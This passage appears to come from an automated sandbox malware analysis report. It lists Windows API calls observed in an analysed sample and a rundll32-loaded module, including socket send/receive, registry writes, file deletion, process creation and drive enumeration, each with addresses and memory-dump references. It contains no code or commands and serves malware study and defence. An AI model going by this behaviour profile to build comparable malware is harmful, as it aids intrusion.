    • Associated: 00000003.00000001.184083600.00400000.00000002.sdmp
    • Associated: 00000003.00000001.184265573.00414000.00000002.sdmp
    • Associated: 00000003.00000001.184355244.00415000.00000008.sdmp
    • Associated: 00000003.00000001.184412302.00416000.00000004.sdmp
    • Associated: 00000003.00000001.184471862.00417000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_1_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • GetTokenInformation.ADVAPI32(00000000,00000019,00000000,00000000,?,?,00000002), ref: 00403C2F
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • IsWow64Process.KERNEL32(00000000,00000000,00000002), ref: 00403D77
      • Part of subcall function 0040482B: LoadLibraryA.KERNEL32(00000000), ref: 00404953
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • RegEnumKeyA.ADVAPI32(00000000,00000001,?,00000105,?,I4@,?,80000002), ref: 00406F5B
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • GetTokenInformation.ADVAPI32(00000000,00000002,00000000,00000000,?,?,00000002), ref: 00403EBD
    • GetTokenInformation.ADVAPI32(00000000,00000002,00000000,00000000,00000000,?,?,00000002), ref: 00403F14
      • Part of subcall function 00406A5D: CloseHandle.KERNEL32(004040DE,00403F3A,?,00000002), ref: 00406A79
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,?,?,00000014,?,004014AC,00000000,00000003,00000000,00000000), ref: 004065BA
    • CreateFileW.KERNEL32(00000000,?,00000003,00000000,00000003,?,00000000,?,00000000,?,?,00000014), ref: 004066A0
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • VirtualAlloc.KERNEL32 ref: 00404B2B
      • Part of subcall function 00403C00: VirtualAlloc.KERNEL32 ref: 00403C6D
    Strings
    Memory Dump Source
    • Source File: 00000003.00000001.184155313.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000001.184083600.00400000.00000002.sdmp
    • Associated: 00000003.00000001.184265573.00414000.00000002.sdmp
    • Associated: 00000003.00000001.184355244.00415000.00000008.sdmp
    • Associated: 00000003.00000001.184412302.00416000.00000004.sdmp
    • Associated: 00000003.00000001.184471862.00417000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_1_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • ConvertStringSecurityDescriptorToSecurityDescriptorA.ADVAPI32(00000000,00000001,00000002,00000000,?,00406AD5,004011D2,?,80000002,00000000,00000000), ref: 00406BB9
    • RegCreateKeyExA.ADVAPI32(?,00000000,00000000,00000000,00000000,0002010B,0000000C,?,00000000), ref: 00406C04
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • select.WS2_32(00000000,?,00000000,00000000,?,?,?,?), ref: 004076E0
    • recv.WS2_32(?,00000000,00000000,00000000,00000000,?,?,?,?,?), ref: 00407740
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,?,00000000,00000000,00000003,00000006,00000000,00000000,?,?,?,?), ref: 004069B2
    • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,?,00000000,00000003,00000006,00000000,00000000,?,?,?,?), ref: 00406A03
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000003.00000001.184155313.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000001.184083600.00400000.00000002.sdmp
    • Associated: 00000003.00000001.184265573.00414000.00000002.sdmp
    • Associated: 00000003.00000001.184355244.00415000.00000008.sdmp
    • Associated: 00000003.00000001.184412302.00416000.00000004.sdmp
    • Associated: 00000003.00000001.184471862.00417000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_1_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • select.WS2_32(00000000,00000000,00000001,00000000,?,004034F8,0040806C), ref: 00407602
    • send.WS2_32(?,?,?,00000000,?,00000001,004034F8,0040806C), ref: 00407643
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • RegQueryValueExA.ADVAPI32(00000000,004032CE,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00406D61,00000000,004032CE,?), ref: 00406C88
    • RegQueryValueExA.ADVAPI32(00000000,004032CE,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00406D61,00000000,004032CE), ref: 00406CCC
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • setsockopt.WS2_32(?,0000FFFF,00001005,00015F90,00000004,?,00000000,?,?,?,0040724E), ref: 00407559
    • setsockopt.WS2_32(?,0000FFFF,00001006,00015F90,00000004,?,00000000,?,?), ref: 00407593
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • GetProcessHeap.KERNEL32 ref: 00405E35
    • HeapFree.KERNEL32(00000000,?,00404EBB,?,00000000,00404E8F,?,?,?,?,00404F0A,?,?,004047B2,00000000), ref: 00405E3C
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • LoadLibraryA.KERNEL32(00000000), ref: 00404953
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
      • Part of subcall function 0040482B: LoadLibraryA.KERNEL32(00000000), ref: 00404953
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • closesocket.WS2_32(?,?,00000000,?,?,?,0040728F,?,00403570,00000000,00000000,?,?,?,?,00000000), ref: 004072D0
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • socket.WS2_32(00000002,00000001,00000000,?), ref: 004071EB
      • Part of subcall function 00407517: setsockopt.WS2_32(?,0000FFFF,00001005,00015F90,00000004,?,00000000,?,?,?,0040724E), ref: 00407559
      • Part of subcall function 00407517: setsockopt.WS2_32(?,0000FFFF,00001006,00015F90,00000004,?,00000000,?,?), ref: 00407593
      • Part of subcall function 00407469: setsockopt.WS2_32(?,0000FFFF,00001002,0000A000,00000004,?,?,?,00407253), ref: 004074A0
      • Part of subcall function 004074C0: setsockopt.WS2_32(?,0000FFFF,00001001,0000A000,00000004,?,?,?,00407258), ref: 004074F7
      • Part of subcall function 004073B7: setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004,?,?,?,0040725D,?), ref: 004073F5
      • Part of subcall function 00407415: setsockopt.WS2_32(?,0000FFFF,00000008,00000001,00000004,?,?,?,00407262), ref: 00407449
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • RegEnumValueA.ADVAPI32(00000000,00000001,?,00000105,00000000,00000000,00000000,00000000,?,?,00000000,80000001), ref: 00406FCD
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
      • Part of subcall function 00402DE3: SetFileAttributesW.KERNEL32(?,00000080,00000000,00000000,00000080,?,00000000), ref: 00403287
      • Part of subcall function 00402DE3: DeleteFileW.KERNEL32(?,?,00000000), ref: 0040329F
      • Part of subcall function 00402DE3: Sleep.KERNEL32(000003E8,00000000,00000000,?,?,?,?,00000000), ref: 0040348A
      • Part of subcall function 00402DE3: GetTempFileNameW.KERNEL32(00000000,00408084,00000000,00000000,00000000,00002800,00000400,?,?,?,?,?,00000000,?,00000000), ref: 0040362D
      • Part of subcall function 00402DE3: CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?), ref: 00403A0D
    • ExitProcess.KERNEL32(00000000), ref: 00403B09
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • connect.WS2_32(?,00000000,00000010,004034C1,00000000,00000000,?,?,?,?,00000000), ref: 00407395
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004,?,?,?,0040725D,?), ref: 004073F5
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • setsockopt.WS2_32(?,0000FFFF,00001001,0000A000,00000004,?,?,?,00407258), ref: 004074F7
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • setsockopt.WS2_32(?,0000FFFF,00000008,00000001,00000004,?,?,?,00407262), ref: 00407449
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • setsockopt.WS2_32(?,0000FFFF,00001002,0000A000,00000004,?,?,?,00407253), ref: 004074A0
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • RegSetValueExA.ADVAPI32(00000000,00408088,00000000,00000003,00000000,00000000,00000000,?,00403968,?,?,?,?,00000000,00000002,00000000), ref: 00406ED6
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • CompareStringA.KERNEL32(00000400,00000001,?,00000000,?,00000000), ref: 00404AE9
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • RegCloseKey.ADVAPI32(?,?,0040152C,?,?,00407054,?,?,00407042,00000000,?,00406B25,?,00000000,?,00000000), ref: 0040701B
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
      • Part of subcall function 0040496A: GetProcAddress.KERNEL32(?,00000000), ref: 00404A3C
    • CloseHandle.KERNEL32(004040DE,00403F3A,?,00000002), ref: 00406A79
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd

    Non-executed Functions

    APIs
    • LoadLibraryW.KERNEL32(kernel32.dll), ref: 00405D82
    • GetProcAddress.KERNEL32(00000000), ref: 00405D89
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd
    APIs
    • LoadLibraryW.KERNEL32(kernel32.dll), ref: 00405D36
    • GetProcAddress.KERNEL32(00000000), ref: 00405D3D
    Strings
    Memory Dump Source
    • Source File: 00000003.00000002.213119062.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000003.00000002.213111944.00400000.00000002.sdmp
    • Associated: 00000003.00000002.213128040.00408000.00000002.sdmp
    • Associated: 00000003.00000002.213139539.0040F000.00000004.sdmp
    • Associated: 00000003.00000002.213145628.00410000.00000002.sdmp
    • Associated: 00000003.00000002.213157619.00411000.00000004.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_3_2_400000_edg1.jbxd

    Executed Functions

    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.410645820.00BC0000.00000040.sdmp, Offset: 00BC0000, based on PE: false
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_bc0000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    • _chkstk.NTDLL(00000000,00000007,00000007,?,20007CD4), ref: 200073A1
    • memset.NTDLL ref: 20007559
      • Part of subcall function 20003EC0: memcpy.NTDLL ref: 2000409B
      • Part of subcall function 20003EC0: memcpy.NTDLL ref: 200040C4
      • Part of subcall function 20003EC0: memcpy.NTDLL ref: 200041C9
      • Part of subcall function 20006D00: FindFirstVolumeA.KERNEL32 ref: 20006FF1
      • Part of subcall function 20006D00: memset.NTDLL ref: 20007055
      • Part of subcall function 20006D00: memset.NTDLL ref: 200070F7
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
      • Part of subcall function 20007390: _chkstk.NTDLL(00000000,00000007,00000007,?,20007CD4), ref: 200073A1
      • Part of subcall function 20007390: memset.NTDLL ref: 20007559
    • GetLogicalDrives.KERNEL32 ref: 20007D3A
      • Part of subcall function 20007960: memcpy.NTDLL ref: 20007A91
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_1_20000000_rundll32.jbxd
    APIs
    • VirtualAlloc.KERNEL32 ref: 2000BCCA
      • Part of subcall function 2000A410: VirtualAlloc.KERNEL32 ref: 2000A4A3
    Strings
    Memory Dump Source
    • Source File: 00000004.00000001.214455681.20001000.00000020.sdmp, Offset: 20000000, based on PE: true
    • Associated: 00000004.00000001.214435774.20000000.00000002.sdmp
    • Associated: 00000004.00000001.214541905.20051000.00000004.sdmp
    • Associated: 00000004.00000001.214559058.20052000.00000008.sdmp
    • Associated: 00000004.00000001.214577167.20055000.00000002.sdmp
    Joe Sandbox IDA Plugin
